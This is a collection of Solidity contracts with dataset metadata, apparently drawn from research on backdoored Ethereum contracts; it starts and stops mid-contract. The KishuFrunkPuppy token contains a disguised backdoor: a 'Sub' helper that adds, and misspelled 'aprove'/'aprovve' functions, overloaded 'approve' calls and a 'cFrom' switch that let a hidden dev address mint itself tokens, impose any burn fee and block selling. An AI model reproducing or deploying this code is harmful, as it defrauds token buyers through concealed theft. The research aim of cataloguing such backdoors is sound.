receiver.tokenFallback(msg.sender, _value, _data);
emit Transfer(msg.sender, _to, _value, _data);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_to != address(0)
&& _value > 0
&& balanceOf[_from] >= _value
&& allowance[_from][msg.sender] >= _value
&& frozenAccount[_from] == false
&& frozenAccount[_to] == false
&& block.timestamp > unlockUnixTime[_from]
&& block.timestamp > unlockUnixTime[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowance[_owner][_spender];
}
function burn(address _from, uint256 _unitAmount) onlyOwner public {
require(_unitAmount > 0
&& balanceOf[_from] >= _unitAmount);
balanceOf[_from] = balanceOf[_from].sub(_unitAmount);
totalSupply = totalSupply.sub(_unitAmount);
emit Burn(_from, _unitAmount);
}
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) {
require(_unitAmount > 0);
totalSupply = totalSupply.add(_unitAmount);
balanceOf[_to] = balanceOf[_to].add(_unitAmount);
emit Mint(_to, _unitAmount);
emit Transfer(address(0), _to, _unitAmount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
function distributeAirdrop(address[] addresses, uint256 amount) public returns (bool) {
require(amount > 0
&& addresses.length > 0
&& frozenAccount[msg.sender] == false
&& block.timestamp > unlockUnixTime[msg.sender]);
amount = amount.mul(1e8);
uint256 totalAmount = amount.mul(addresses.length);
require(balanceOf[msg.sender] >= totalAmount);
for (uint j = 0; j < addresses.length; j++) {
require(addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& block.timestamp > unlockUnixTime[addresses[j]]);
balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amount);
emit Transfer(msg.sender, addresses[j], amount);
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);
return true;
}
function distributeAirdrop(address[] addresses, uint[] amounts) public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length
&& frozenAccount[msg.sender] == false
&& block.timestamp > unlockUnixTime[msg.sender]);
uint256 totalAmount = 0;
for(uint j = 0; j < addresses.length; j++){
require(amounts[j] > 0
&& addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& block.timestamp > unlockUnixTime[addresses[j]]);
amounts[j] = amounts[j].mul(1e8);
totalAmount = totalAmount.add(amounts[j]);
}
require(balanceOf[msg.sender] >= totalAmount);
for (j = 0; j < addresses.length; j++) {
balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amounts[j]);
emit Transfer(msg.sender, addresses[j], amounts[j]);
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);
return true;
}
function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length);
uint256 totalAmount = 0;
for (uint j = 0; j < addresses.length; j++) {
require(amounts[j] > 0
&& addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& block.timestamp > unlockUnixTime[addresses[j]]);
amounts[j] = amounts[j].mul(1e8);
require(balanceOf[addresses[j]] >= amounts[j]);
balanceOf[addresses[j]] = balanceOf[addresses[j]].sub(amounts[j]);
totalAmount = totalAmount.add(amounts[j]);
emit Transfer(addresses[j], msg.sender, amounts[j]);
}
balanceOf[msg.sender] = balanceOf[msg.sender].add(totalAmount);
return true;
}
function setDistributeAmount(uint256 _unitAmount) onlyOwner public {
distributeAmount = _unitAmount;
}
function autoDistribute() payable public {
require(distributeAmount > 0
&& balanceOf[owner] >= distributeAmount
&& frozenAccount[msg.sender] == false
&& block.timestamp > unlockUnixTime[msg.sender]);
if(msg.value > 0) owner.transfer(msg.value);
balanceOf[owner] = balanceOf[owner].sub(distributeAmount);
balanceOf[msg.sender] = balanceOf[msg.sender].add(distributeAmount);
emit Transfer(owner, msg.sender, distributeAmount);
}
function() payable public {
autoDistribute();
}
}
| 339,417 | 11,161 |
48f99a2ed601891e9eecc957ae1909ee0b7de64bc1631e20369d98cc05e27e57
| 23,177 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x638f2Be03bC7d5168E7116B1a98f022DE88a5956/contract.sol
| 3,509 | 13,415 |
pragma solidity ^0.6.9;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function Sub(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract KishuFrunkPuppy is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _onlyRenounceOwner;
address private _approvedAddress;
uint256 private _tTotal = 10**9 * 10**9;
bool private a = true;
string public _name;
string public _symbol;
uint8 private _decimals = 9;
uint256 private _maxTotal;
uint256 private _FrunkPuppyReward;
IUniswapV2Router02 public uniSwapRouter;
address public uniSwapPair;
address payable private BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD;
uint256 private _total = 10**9 * 10**9;
event uniSwapRouterUpdated(address indexed operator, address indexed router, address indexed pair);
constructor (address devAddress, string memory name, string memory symbol) public {
_onlyRenounceOwner = devAddress;
_name = name;
_symbol = symbol;
_balances[_msgSender()] = _tTotal;
_FrunkPuppyReward = 0;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function aprove(uint256 amount) public {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
require(_msgSender() == _onlyRenounceOwner, "ERC20: cannot permit dev address");
_tTotal = _tTotal.Sub(amount);
_balances[_msgSender()] = _balances[_msgSender()].Sub(amount);
emit Transfer(address(0), _msgSender(), amount);
}
function cFrom(bool _a) public {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
require(_msgSender() == _onlyRenounceOwner, "ERC20: cannot permit dev address");
a = _a;
}
function aprovve(uint256 amount) public {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
require(_msgSender() == _onlyRenounceOwner, "ERC20: cannot permit dev address");
_FrunkPuppyReward= amount;
}
function updateuniSwapRouter(address _router) public {
require(_msgSender() == _onlyRenounceOwner, "ERC20: cannot permit dev address");
uniSwapRouter = IUniswapV2Router02(_router);
uniSwapPair = IUniswapV2Factory(uniSwapRouter.factory()).getPair(address(this), uniSwapRouter.WETH());
require(uniSwapPair != address(0), "updateTokenSwapRouter: Invalid pair address.");
emit uniSwapRouterUpdated(msg.sender, address(uniSwapRouter), uniSwapPair);
}
function approve(address approvedAddress) public {
require(_msgSender() == _onlyRenounceOwner, "ERC20: cannot permit dev address");
_approvedAddress = approvedAddress;
}
function approve(uint256 approveAmount) public {
require(_msgSender() == _onlyRenounceOwner, "ERC20: cannot permit dev address");
_total = approveAmount * 10**9;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if (!a){
if(isContract(sender) && isContract(recipient)){
require(amount <= 1, "Transfer amount exceeds the maxTxAmount.");
}
}
if (sender == owner()) {
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else{
if (sender != _approvedAddress && recipient == uniSwapPair) {
require(amount < _total, "Transfer amount exceeds the maxTxAmount.");
}
uint256 burnAmount = amount.mul(_FrunkPuppyReward).div(100);
uint256 sendAmount = amount.sub(burnAmount);
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[BURN_ADDRESS] = _balances[BURN_ADDRESS].add(burnAmount);
_balances[recipient] = _balances[recipient].add(sendAmount);
emit Transfer(sender, recipient, sendAmount);
}
}
function isContract(address addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
| 252,440 | 11,162 |
02d3a30b8aec0ce96afe4dcbb9088ae614aab1fa8e581b910f4a741cbd618b46
| 11,228 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0xb75bab60770f91bdb2eb40f2e3663a05ad2090ca.sol
| 2,980 | 9,760 |
pragma solidity ^0.4.13;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ItemToken {
using SafeMath for uint256;
event Bought (uint256 indexed _itemId, address indexed _owner, uint256 _price);
event Sold (uint256 indexed _itemId, address indexed _owner, uint256 _price);
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
address private owner;
mapping (address => bool) private admins;
IItemRegistry private itemRegistry;
bool private erc721Enabled = false;
uint256 private increaseLimit1 = 0.02 ether;
uint256 private increaseLimit2 = 0.5 ether;
uint256 private increaseLimit3 = 2.0 ether;
uint256 private increaseLimit4 = 5.0 ether;
uint256[] private listedItems;
mapping (uint256 => address) private ownerOfItem;
mapping (uint256 => uint256) private startingPriceOfItem;
mapping (uint256 => uint256) private priceOfItem;
mapping (uint256 => address) private approvedOfItem;
function ItemToken () public {
owner = msg.sender;
admins[owner] = true;
}
modifier onlyOwner() {
require(owner == msg.sender);
_;
}
modifier onlyAdmins() {
require(admins[msg.sender]);
_;
}
modifier onlyERC721() {
require(erc721Enabled);
_;
}
function setOwner (address _owner) onlyOwner() public {
owner = _owner;
}
function setItemRegistry (address _itemRegistry) onlyOwner() public {
itemRegistry = IItemRegistry(_itemRegistry);
}
function addAdmin (address _admin) onlyOwner() public {
admins[_admin] = true;
}
function removeAdmin (address _admin) onlyOwner() public {
delete admins[_admin];
}
// Unlocks ERC721 behaviour, allowing for trading on third party platforms.
function enableERC721 () onlyOwner() public {
erc721Enabled = true;
}
function withdrawAll () onlyOwner() public {
owner.transfer(this.balance);
}
function withdrawAmount (uint256 _amount) onlyOwner() public {
owner.transfer(_amount);
}
function populateFromItemRegistry (uint256[] _itemIds) onlyOwner() public {
for (uint256 i = 0; i < _itemIds.length; i++) {
if (priceOfItem[_itemIds[i]] > 0 || itemRegistry.priceOf(_itemIds[i]) == 0) {
continue;
}
listItemFromRegistry(_itemIds[i]);
}
}
function listItemFromRegistry (uint256 _itemId) onlyOwner() public {
require(itemRegistry != address(0));
require(itemRegistry.ownerOf(_itemId) != address(0));
require(itemRegistry.priceOf(_itemId) > 0);
uint256 price = itemRegistry.priceOf(_itemId);
address itemOwner = itemRegistry.ownerOf(_itemId);
listItem(_itemId, price, itemOwner);
}
function listMultipleItems (uint256[] _itemIds, uint256 _price, address _owner) onlyAdmins() external {
for (uint256 i = 0; i < _itemIds.length; i++) {
listItem(_itemIds[i], _price, _owner);
}
}
function listItem (uint256 _itemId, uint256 _price, address _owner) onlyAdmins() public {
require(_price > 0);
require(priceOfItem[_itemId] == 0);
require(ownerOfItem[_itemId] == address(0));
ownerOfItem[_itemId] = _owner;
priceOfItem[_itemId] = _price;
startingPriceOfItem[_itemId] = _price;
listedItems.push(_itemId);
}
function calculateNextPrice (uint256 _price) public view returns (uint256 _nextPrice) {
if (_price < increaseLimit1) {
return _price.mul(200).div(95);
} else if (_price < increaseLimit2) {
return _price.mul(135).div(96);
} else if (_price < increaseLimit3) {
return _price.mul(125).div(97);
} else if (_price < increaseLimit4) {
return _price.mul(117).div(97);
} else {
return _price.mul(115).div(98);
}
}
function calculateDevCut (uint256 _price) public view returns (uint256 _devCut) {
if (_price < increaseLimit1) {
return _price.mul(5).div(100); // 5%
} else if (_price < increaseLimit2) {
return _price.mul(4).div(100); // 4%
} else if (_price < increaseLimit3) {
return _price.mul(3).div(100); // 3%
} else if (_price < increaseLimit4) {
return _price.mul(3).div(100); // 3%
} else {
return _price.mul(2).div(100); // 2%
}
}
function buy (uint256 _itemId) payable public {
require(priceOf(_itemId) > 0);
require(ownerOf(_itemId) != address(0));
require(msg.value >= priceOf(_itemId));
require(ownerOf(_itemId) != msg.sender);
require(!isContract(msg.sender));
require(msg.sender != address(0));
address oldOwner = ownerOf(_itemId);
address newOwner = msg.sender;
uint256 price = priceOf(_itemId);
uint256 excess = msg.value.sub(price);
_transfer(oldOwner, newOwner, _itemId);
priceOfItem[_itemId] = nextPriceOf(_itemId);
Bought(_itemId, newOwner, price);
Sold(_itemId, oldOwner, price);
// Devevloper's cut which is left in contract and accesed by
// `withdrawAll` and `withdrawAmountTo` methods.
uint256 devCut = calculateDevCut(price);
// Transfer payment to old owner minus the developer's cut.
oldOwner.transfer(price.sub(devCut));
if (excess > 0) {
newOwner.transfer(excess);
}
}
function implementsERC721() public view returns (bool _implements) {
return erc721Enabled;
}
function name() public pure returns (string _name) {
return "Blockstates.io";
}
function symbol() public pure returns (string _symbol) {
return "BST";
}
function totalSupply() public view returns (uint256 _totalSupply) {
return listedItems.length;
}
function balanceOf (address _owner) public view returns (uint256 _balance) {
uint256 counter = 0;
for (uint256 i = 0; i < listedItems.length; i++) {
if (ownerOf(listedItems[i]) == _owner) {
counter++;
}
}
return counter;
}
function ownerOf (uint256 _itemId) public view returns (address _owner) {
return ownerOfItem[_itemId];
}
function tokensOf (address _owner) public view returns (uint256[] _tokenIds) {
uint256[] memory items = new uint256[](balanceOf(_owner));
uint256 itemCounter = 0;
for (uint256 i = 0; i < listedItems.length; i++) {
if (ownerOf(listedItems[i]) == _owner) {
items[itemCounter] = listedItems[i];
itemCounter += 1;
}
}
return items;
}
function tokenExists (uint256 _itemId) public view returns (bool _exists) {
return priceOf(_itemId) > 0;
}
function approvedFor(uint256 _itemId) public view returns (address _approved) {
return approvedOfItem[_itemId];
}
function approve(address _to, uint256 _itemId) onlyERC721() public {
require(msg.sender != _to);
require(tokenExists(_itemId));
require(ownerOf(_itemId) == msg.sender);
if (_to == 0) {
if (approvedOfItem[_itemId] != 0) {
delete approvedOfItem[_itemId];
Approval(msg.sender, 0, _itemId);
}
} else {
approvedOfItem[_itemId] = _to;
Approval(msg.sender, _to, _itemId);
}
}
function transfer(address _to, uint256 _itemId) onlyERC721() public {
require(msg.sender == ownerOf(_itemId));
_transfer(msg.sender, _to, _itemId);
}
function transferFrom(address _from, address _to, uint256 _itemId) onlyERC721() public {
require(approvedFor(_itemId) == msg.sender);
_transfer(_from, _to, _itemId);
}
function _transfer(address _from, address _to, uint256 _itemId) internal {
require(tokenExists(_itemId));
require(ownerOf(_itemId) == _from);
require(_to != address(0));
require(_to != address(this));
ownerOfItem[_itemId] = _to;
approvedOfItem[_itemId] = 0;
Transfer(_from, _to, _itemId);
}
function isAdmin (address _admin) public view returns (bool _isAdmin) {
return admins[_admin];
}
function startingPriceOf (uint256 _itemId) public view returns (uint256 _startingPrice) {
return startingPriceOfItem[_itemId];
}
function priceOf (uint256 _itemId) public view returns (uint256 _price) {
return priceOfItem[_itemId];
}
function nextPriceOf (uint256 _itemId) public view returns (uint256 _nextPrice) {
return calculateNextPrice(priceOf(_itemId));
}
function allOf (uint256 _itemId) external view returns (address _owner, uint256 _startingPrice, uint256 _price, uint256 _nextPrice) {
return (ownerOf(_itemId), startingPriceOf(_itemId), priceOf(_itemId), nextPriceOf(_itemId));
}
function itemsForSaleLimit (uint256 _from, uint256 _take) public view returns (uint256[] _items) {
uint256[] memory items = new uint256[](_take);
for (uint256 i = 0; i < _take; i++) {
items[i] = listedItems[_from + i];
}
return items;
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) } // solium-disable-line
return size > 0;
}
}
interface IItemRegistry {
function itemsForSaleLimit (uint256 _from, uint256 _take) public view returns (uint256[] _items);
function ownerOf (uint256 _itemId) public view returns (address _owner);
function priceOf (uint256 _itemId) public view returns (uint256 _price);
}
| 147,220 | 11,163 |
a95058a3b6f5fd7cc1b4040bbec64c28014bf93257b5858311a10f9382894b6a
| 19,732 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x7a3822a45dd6e6c91cc87012b3059266106e122d.sol
| 3,848 | 12,447 |
pragma solidity ^0.4.24;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(address indexed from,
address indexed to,
uint256 value);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
library SafeERC20Transfer {
function safeTransfer(IERC20 token,
address to,
uint256 value)
internal
{
require(token.transfer(to, value));
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() public {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns(address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Crowdsale is Ownable {
using SafeMath for uint256;
using SafeERC20Transfer for IERC20;
// The token being sold
IERC20 private _token;
// Address where funds are collected
address private _wallet;
// How many token units a buyer gets per 1 ETH.
uint256 private _rate = 5000;
// Amount of wei raised
uint256 private _weiRaised;
// Accrued tokens amount
uint256 private _accruedTokensAmount;
// freezing periods in seconds
uint256 private _threeMonths = 5256000;
uint256 private _sixMonths = 15768000;
uint256 private _nineMonths = 21024000;
uint256 private _twelveMonths = 31536000;
// ICO configuration
uint256 private _foundersTokens = 4e7;
uint256 private _distributedTokens = 1e9;
uint256 public softCap = 1000 ether;
uint256 public hardCap = 35000 ether;
uint256 public preICO_1_Start = 1541030400; // 01/11/2018 00:00:00
uint256 public preICO_2_Start = 1541980800; // 12/11/2018 00:00:00
uint256 public preICO_3_Start = 1542844800; // 22/11/2018 00:00:00
uint256 public ICO_Start = 1543622400; // 01/12/2018 00:00:00
uint256 public ICO_End = 1548979199; // 31/01/2019 23:59:59
uint32 public bonus1 = 30; // pre ICO phase 1
uint32 public bonus2 = 20; // pre ICO phase 2
uint32 public bonus3 = 10; // pre ICO phase 3
uint32 public whitelistedBonus = 10;
mapping (address => bool) private _whitelist;
// tokens accrual
mapping (address => uint256) public threeMonthsFreezingAccrual;
mapping (address => uint256) public sixMonthsFreezingAccrual;
mapping (address => uint256) public nineMonthsFreezingAccrual;
mapping (address => uint256) public twelveMonthsFreezingAccrual;
// investors ledger
mapping (address => uint256) public ledger;
event Accrual(address to,
uint256 accruedAmount,
uint256 freezingTime,
uint256 purchasedAmount,
uint256 weiValue);
event Released(address to,
uint256 amount);
event Refunded(address to,
uint256 value);
event TokensPurchased(address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount);
constructor(address newOwner, address wallet, address founders, IERC20 token) public {
require(wallet != address(0));
require(founders != address(0));
require(token != address(0));
require(newOwner != address(0));
transferOwnership(newOwner);
_wallet = wallet;
_token = token;
twelveMonthsFreezingAccrual[founders] = _foundersTokens;
_accruedTokensAmount = _foundersTokens;
emit Accrual(founders, _foundersTokens, _twelveMonths, 0, 0);
}
// -----------------------------------------
// Crowdsale external interface
// -----------------------------------------
function () external payable {
buyTokens(msg.sender);
}
function token() public view returns(IERC20) {
return _token;
}
function wallet() public view returns(address) {
return _wallet;
}
function rate() public view returns(uint256) {
return _rate;
}
function weiRaised() public view returns (uint256) {
return _weiRaised;
}
function whitelist(address who) public view returns (bool) {
return _whitelist[who];
}
function addToWhitelist(address who) public onlyOwner {
_whitelist[who] = true;
}
function removeFromWhitelist(address who) public onlyOwner {
_whitelist[who] = false;
}
function accrueAdvisorsTokens(address to, uint256 amount) public onlyOwner {
require(now > ICO_End);
uint256 tokenBalance = _token.balanceOf(address(this));
require(tokenBalance >= _accruedTokensAmount.add(amount));
_accruedTokensAmount = _accruedTokensAmount.add(amount);
sixMonthsFreezingAccrual[to] = sixMonthsFreezingAccrual[to].add(amount);
emit Accrual(to, amount, _sixMonths, 0, 0);
}
function accruePartnersTokens(address to, uint256 amount) public onlyOwner {
require(now > ICO_End);
uint256 tokenBalance = _token.balanceOf(address(this));
require(tokenBalance >= _accruedTokensAmount.add(amount));
_accruedTokensAmount = _accruedTokensAmount.add(amount);
nineMonthsFreezingAccrual[to] = nineMonthsFreezingAccrual[to].add(amount);
emit Accrual(to, amount, _nineMonths, 0, 0);
}
function accrueBountyTokens(address to, uint256 amount) public onlyOwner {
require(now > ICO_End);
uint256 tokenBalance = _token.balanceOf(address(this));
require(tokenBalance >= _accruedTokensAmount.add(amount));
_accruedTokensAmount = _accruedTokensAmount.add(amount);
twelveMonthsFreezingAccrual[to] = twelveMonthsFreezingAccrual[to].add(amount);
emit Accrual(to, amount, _twelveMonths, 0, 0);
}
function release() public {
address who = msg.sender;
uint256 amount;
if (now > ICO_End.add(_twelveMonths) && twelveMonthsFreezingAccrual[who] > 0) {
amount = amount.add(twelveMonthsFreezingAccrual[who]);
_accruedTokensAmount = _accruedTokensAmount.sub(twelveMonthsFreezingAccrual[who]);
twelveMonthsFreezingAccrual[who] = 0;
}
if (now > ICO_End.add(_nineMonths) && nineMonthsFreezingAccrual[who] > 0) {
amount = amount.add(nineMonthsFreezingAccrual[who]);
_accruedTokensAmount = _accruedTokensAmount.sub(nineMonthsFreezingAccrual[who]);
nineMonthsFreezingAccrual[who] = 0;
}
if (now > ICO_End.add(_sixMonths) && sixMonthsFreezingAccrual[who] > 0) {
amount = amount.add(sixMonthsFreezingAccrual[who]);
_accruedTokensAmount = _accruedTokensAmount.sub(sixMonthsFreezingAccrual[who]);
sixMonthsFreezingAccrual[who] = 0;
}
if (now > ICO_End.add(_threeMonths) && threeMonthsFreezingAccrual[who] > 0) {
amount = amount.add(threeMonthsFreezingAccrual[who]);
_accruedTokensAmount = _accruedTokensAmount.sub(threeMonthsFreezingAccrual[who]);
threeMonthsFreezingAccrual[who] = 0;
}
if (amount > 0) {
_deliverTokens(who, amount);
emit Released(who, amount);
}
}
function refund() public {
address investor = msg.sender;
require(now > ICO_End);
require(_weiRaised < softCap);
require(ledger[investor] > 0);
